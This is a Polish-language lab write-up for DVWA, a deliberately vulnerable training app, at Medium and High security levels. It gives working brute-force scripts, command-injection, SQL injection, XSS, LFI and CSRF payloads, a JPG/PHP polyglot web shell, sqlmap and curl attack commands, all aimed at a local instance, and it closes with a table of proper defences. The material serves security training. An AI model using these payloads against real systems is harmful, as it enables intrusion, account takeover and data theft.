DVWA – WRITEUP – poziom MEDIUM/HIGH

Poziomy Medium / High

Na poziomach Medium i High DVWA wprowadza proste filtry, tokeny, opóźnienia, walidacje po stronie klienta albo częściowe kontrole serwerowe. Celem jest pokazanie, że blacklisty i niepełna walidacja są zwykle obchodzalne.

3.1 Brute Force — Medium / High

  • Medium dodaje opóźnienie po błędnym logowaniu. Dlatego ogranicz równoległość i używaj małej listy haseł.

hydra -l admin -P /tmp/dvwa-pass.txt 127.0.0.1 -s 4280 http-get-form „/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: security=medium; PHPSESSID=TU_WSTAW_SESJE” -t 1 -W 5

  • High dodaje token anty-CSRF i losowe opóźnienie. Każda próba wymaga pobrania nowego tokenu.

#!/usr/bin/env bash
DVWA=”http://127.0.0.1:4280″
PHPSESSID=”TU_WSTAW_SESJE”

for PASS in $(cat /tmp/dvwa-pass.txt); do
  PAGE=$(curl -s -b „security=high; PHPSESSID=$PHPSESSID” „$DVWA/vulnerabilities/brute/”)
  TOKEN=$(echo „$PAGE” | grep -oP „name=’user_token’ value=’\K[^’]+”)

  RESP=$(curl -s -b „security=high; PHPSESSID=$PHPSESSID”     „$DVWA/vulnerabilities/brute/?username=admin&password=$PASS&Login=Login&user_token=$TOKEN”)

  if echo „$RESP” | grep -q „Welcome to the password protected area”; then
    echo „[+] Found: admin:$PASS”
    break
  fi
done

3.2 Command Injection — Medium / High

  • Medium filtruje część znaków, zwykle && i ;, ale zostawia inne separatory.

127.0.0.1 & id
127.0.0.1 | id
127.0.0.1 || id

  • High filtruje więcej znaków, ale podatność może wynikać z niedokładnego wzorca, np. filtrowanie „| ” zamiast samego „|”.

127.0.0.1|id
127.0.0.1|whoami

  • Impossible powinien walidować adres IP parserem/whitelistą zamiast filtrować separatory poleceń.

3.3 CSRF — Medium / High

  • Medium często opiera się na sprawdzeniu nagłówka Referer. W Burp usuń go, zmień i sprawdź, czy walidacja jest tylko naiwnym dopasowaniem tekstu.

<html>
  <body>
    <form action=”http://127.0.0.1:4280/vulnerabilities/csrf/” method=”GET”>
      <input type=”hidden” name=”password_new” value=”csrfmedium123″>
      <input type=”hidden” name=”password_conf” value=”csrfmedium123″>
      <input type=”hidden” name=”Change” value=”Change”>
      <input type=”submit” value=”Click”>
    </form>
  </body>
</html>

  • High dodaje token anty-CSRF. Pobierz stronę formularza, znajdź user_token, wyślij żądanie z poprawnym tokenem i sprawdź, czy token jest jednorazowy.

GET /vulnerabilities/csrf/?password_new=test123&password_conf=test123&Change=Change&user_token=TOKEN
Cookie: security=high; PHPSESSID=…

  • Skuteczny CSRF na High wymaga zwykle wycieku tokenu, np. przez XSS.

3.4 File Inclusion — Medium / High

  • Medium usuwa proste ciągi typu ../ albo http://. Testuj warianty zagnieżdżone i kodowane.

?page=….//….//….//….//etc/passwd
?page=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

  • High może ograniczać nazwę do wartości zaczynającej się od file. Obejściem jest wrapper file://.

http://127.0.0.1:4280/vulnerabilities/fi/?page=file:///etc/passwd

3.5 File Upload — Medium / High

  • Medium często ufa nagłówkowi Content-Type. Przechwyć upload w Burp i zmień Content-Type na image/jpeg.

Content-Disposition: form-data; name=”uploaded”; filename=”lab.php”
Content-Type: image/jpeg

  • High może sprawdzać rozszerzenie i obraz. Utwórz prosty plik poliglotyczny JPG/PHP.

printf '\xFF\xD8\xFF\xE0′ > shell.php.jpg
cat >> shell.php.jpg << 'EOF’
<?php echo „<pre>”; system(„id”); echo „</pre>”; ?>
EOF

  • Jeżeli .jpg nie jest wykonywany jako PHP, połącz upload z LFI.

/vulnerabilities/fi/?page=../../hackable/uploads/shell.php.jpg

3.6 Insecure CAPTCHA — Medium / High

  • Przechwyć cały przepływ zmiany hasła w Burp i sprawdź, czy istnieją etapy step=1/step=2.

POST /vulnerabilities/captcha/
step=2&password_new=test123&password_conf=test123&Change=Change

  • Na High sprawdź, czy aplikacja ufa ukrytym polom formularza, np. passed_captcha=true.
  • Wniosek: CAPTCHA musi być walidowana po stronie serwera, a nie przez ukryte pola frontendowe.

3.7 SQL Injection — Medium / High

  • Medium może używać POST i filtrować apostrofy. Testuj payloady numeryczne bez znaku apostrofu.

1 OR 1=1
1 UNION SELECT user,password FROM users
1 ORDER BY 1
1 ORDER BY 2
1 ORDER BY 3

sqlmap -u „$DVWA/vulnerabilities/sqli/” –cookie=”security=medium; PHPSESSID=TU_WSTAW_SESJE” –data=”id=1&Submit=Submit” -p id –batch –dbs

  • High może używać osobnego okna lub endpointu. Rzeczywisty endpoint skopiuj z Burp.

1′ OR '1’=’1′– –
1′ UNION SELECT user,password FROM users– –

3.8 SQL Injection Blind — Medium / High

  • Porównuj odpowiedzi dla warunku prawdziwego i fałszywego.

1 AND 1=1
1 AND 1=2

  • Jeżeli nie widać różnicy w treści, użyj opóźnienia jako kanału bocznego.

1 AND SLEEP(5)

sqlmap -u „$DVWA/vulnerabilities/sqli_blind/” –cookie=”security=medium; PHPSESSID=TU_WSTAW_SESJE” –data=”id=1&Submit=Submit” -p id –technique=BT –batch

3.9 Weak Session IDs — Medium / High

  • Generuj wiele ID i zapisuj wartości wraz z czasem.

for i in {1..10}; do
  curl -i -s -b „security=medium; PHPSESSID=TU_WSTAW_SESJE”   „$DVWA/vulnerabilities/weak_id/” | grep -i „Set-Cookie”
  sleep 1
done

  • Jeżeli token przypomina timestamp albo hash kolejnych liczb, przestrzeń predykcji jest mała.

for i in {1..20}; do
  echo -n „$i” | md5sum
done

3.10 XSS Reflected / Stored / DOM — Medium / High

  • Jeżeli filtr usuwa <script>, użyj innych wektorów zdarzeń HTML.

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<ScRiPt>alert(1)</ScRiPt>

  • W Stored XSS testuj zarówno Message, jak i Name. Jeżeli limit długości jest tylko w HTML, zmień maxlength w DevTools.
  • W DOM XSS sprawdź, czy podatność występuje w query stringu, czy we fragmencie URL po znaku #.

/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

3.11 CSP Bypass — Medium / High

  • Medium może używać stałego nonce. Sprawdź nagłówek CSP i wstrzyknij skrypt z tym samym nonce.

<script nonce=”TU_NONCE”>alert(1)</script>

  • High używa JSONP. Przechwyć żądanie do source/jsonp.php?callback=solveSum i zmień callback.

source/jsonp.php?callback=alert
source/jsonp.php?callback=alert(document.domain)

  • Jeżeli odpowiedź JSONP opakowuje dane w przekazany callback, możliwe jest wykonanie kodu.

3.12 JavaScript — Medium / High

  • Otwórz DevTools → Sources i użyj Pretty Print na zaciemnionym kodzie.
  • Ustaw breakpoint przed wysłaniem formularza i odczytaj token w runtime.

document.getElementById(„token”).value

  • Na High użyj Event Listener Breakpoints → Control → submit oraz breakpointów na fetch/XMLHttpRequest.

3.13 Open Redirect — Medium / High

  • Medium może blokować http:// i https://, ale nie blokować URL-i protokołowo względnych.

http://127.0.0.1:4280/vulnerabilities/open_redirect/source/medium.php?redirect=//example.com

  • High może dopuszczać przekierowania zawierające substring info.php. Testuj obecność tego tekstu w query celu zewnętrznego.

http://127.0.0.1:4280/vulnerabilities/open_redirect/source/high.php?redirect=//example.com?x=info.php

  • Poprawna obrona: nie przyjmować pełnego URL od użytkownika, tylko ID mapowane po stronie serwera.

3.14 API Security — Medium / High

  • Medium: przetestuj nadmiarowe pole JSON w endpointach aktualizacji użytkownika.

curl -s -X PUT „$DVWA/vulnerabilities/api/v2/user/2” -H „Content-Type: application/json” -d '{„name”:”morph”,”level”:0}’ | jq

  • High: endpoint health/connectivity może przyjmować target używany w ping. Testuj command injection w JSON.

curl -s -X POST „$DVWA/vulnerabilities/api/v2/health/connectivity” -H „Content-Type: application/json” -d '{„target”:”127.0.0.1; id”}’ | jq

time curl -s -X POST „$DVWA/vulnerabilities/api/v2/health/connectivity” -H „Content-Type: application/json” -d '{„target”:”127.0.0.1; sleep 5″}’

  • Jeżeli output nie jest zwracany, wzrost czasu odpowiedzi potwierdza kanał time-based.

3.15 Authorisation Bypass / Broken Access Control — Medium / High

  • Zaloguj się jako zwykły użytkownik i powtarzaj żądania backendowe bezpośrednio w Burp Repeater.

curl -s -b „security=medium; PHPSESSID=TU_WSTAW_SESJE” „$DVWA/vulnerabilities/authbypass/get_user_data.php” | jq

curl -s -X POST -b „security=medium; PHPSESSID=TU_WSTAW_SESJE” -H „Content-Type: application/json” -d '{„id”:1,”first_name”:”Medium”,”surname”:”Bypass”}’ „$DVWA/vulnerabilities/authbypass/change_user_details.php” | jq

  • W BAC testuj zmianę user_id oraz user_role w cookie.

curl -s -b „security=high; PHPSESSID=TU_WSTAW_SESJE; user_id=1; user_role=admin” „$DVWA/vulnerabilities/bac/?action=view&user_id=2”

  • Autoryzacja musi być egzekwowana po stronie serwera na każdej akcji, nie tylko w UI.

3.16 Cryptography — Medium / High

  • Medium używa koncepcji AES-ECB. Rozbij tokeny na bloki po 16 bajtów, czyli 32 znaki hex, i porównuj bloki.

python3 – << 'PY’
tokens = [
„TU_WKLEJ_TOKEN_1”,
„TU_WKLEJ_TOKEN_2”,
„TU_WKLEJ_TOKEN_3”
]
for t in tokens:
    print(„—„)
    for i in range(0, len(t), 32):
        print(i//32, t[i:i+32])
PY

  • Celem jest zbudowanie tokenu cut-and-paste, w którym użytkownik i ważność pochodzą z jednego tokenu, a poziom admin z innego.
  • High pokazuje atak padding-oracle / manipulację IV. DVWA zawiera pomocniczy skrypt oracle_attack.php.

php vulnerabilities/cryptography/source/oracle_attack.php –iv „TU_IV” –token „TU_TOKEN” –url „http://127.0.0.1:4280/vulnerabilities/cryptography/source/check_token_high.php”

Poziom Impossible — analiza zabezpieczeń

Poziom Impossible nie jest przeznaczony do dalszego „łamania”, lecz do porównania kodu podatnego i poprawionego. W ćwiczeniach warto przełączać poziom Low/Medium/High/Impossible i obserwować różnice w kodzie oraz zachowaniu aplikacji.

Klasa podatnościPoprawna kontrola bezpieczeństwa
SQL Injectionprepared statements, parametryzacja zapytań, brak konkatenacji inputu z SQL
Command Injectionwalidacja whitelistą, parser IP, brak przekazywania surowego inputu do powłoki
CSRFlosowy token anty-CSRF powiązany z sesją i akcją, walidacja metody i origin/referer jako kontrola pomocnicza
XSScontext-aware output encoding, sanityzacja HTML, CSP jako kontrola dodatkowa
File Uploadwalidacja typu i zawartości, losowe nazwy, przechowywanie poza webrootem, brak wykonywania uploadów jako kodu
File Inclusionmapowanie do dozwolonych zasobów, brak bezpośredniego użycia ścieżki z parametru
Weak Session IDsCSPRNG, wysoka entropia, HttpOnly, Secure, SameSite
Open Redirectmapowanie ID → lokalny URL, brak przekierowania na dowolny URL z parametru
BAC/Auth Bypassserwerowa autoryzacja obiektowa i funkcyjna dla każdej operacji
Cryptographysprawdzone biblioteki, AEAD, losowy IV/nonce, brak ECB, poprawna obsługa błędów

Zostaw odpowiedź